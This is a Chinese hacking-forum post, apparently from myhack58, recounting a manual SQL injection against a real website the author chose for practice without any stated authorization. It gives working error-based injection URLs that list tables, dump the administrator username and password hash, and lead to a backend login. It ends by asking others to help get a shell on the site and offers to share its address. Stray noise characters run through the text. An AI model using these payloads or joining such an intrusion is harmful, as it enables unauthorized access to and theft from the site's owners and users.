近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。( f1 n0 p% B8 A
首先找到网站后台,加了个admin,后台出来了
) P0 S: i4 A' H( o) h
. r; w" S2 `$ y9 v) N
# M+ U" w& ?+ @! ~+ o然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入: Y6 o4 P( t }# S8 O$ _( G
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
1 Y# l6 e5 b7 z$ j$ `9 m# `3 ~" B$ a" E) o2 Z. G2 a
* a; E, D5 Y0 V: j/ [% |% H+ b: P2 f; q6 b6 c" G i" L
/ E) A( M5 R" @$ k/ n% d9 ?http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg+ X6 n0 O) `+ b$ P
" D5 q7 W1 p" _0 l9 }
5 b) E" Q% \7 k! B4 L
, j6 \7 N* u2 W& T( {* o* T
# P2 x+ Y3 ~) p/ P% @ X
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
6 r( S/ L \+ L$ G9 }( n
$ w& P1 X' \3 b6 `2 ]3 k: n
, y+ D+ S4 J7 J' B4 ihttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
E( ?- U9 j7 i( l7 ~
7 A' s1 h1 X) A( ?" h
8 m! D: u r y% a6 J" K 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
" w" q6 a9 W6 B5 R- y
: r) l- p/ K- b3 M# F. t3 u5 q" O
, |# ?' s1 }9 [1 m0 X- W! |7 }9 s! L
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--( v2 X R2 J- Y8 B9 N1 O
3 E5 H' @% `. ^6 ?: z8 q3 o: {: }. H
7 W0 C! X; `8 j" a8 y: f3 E' f7 h3 p3 J. Z1 |# {9 ?
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |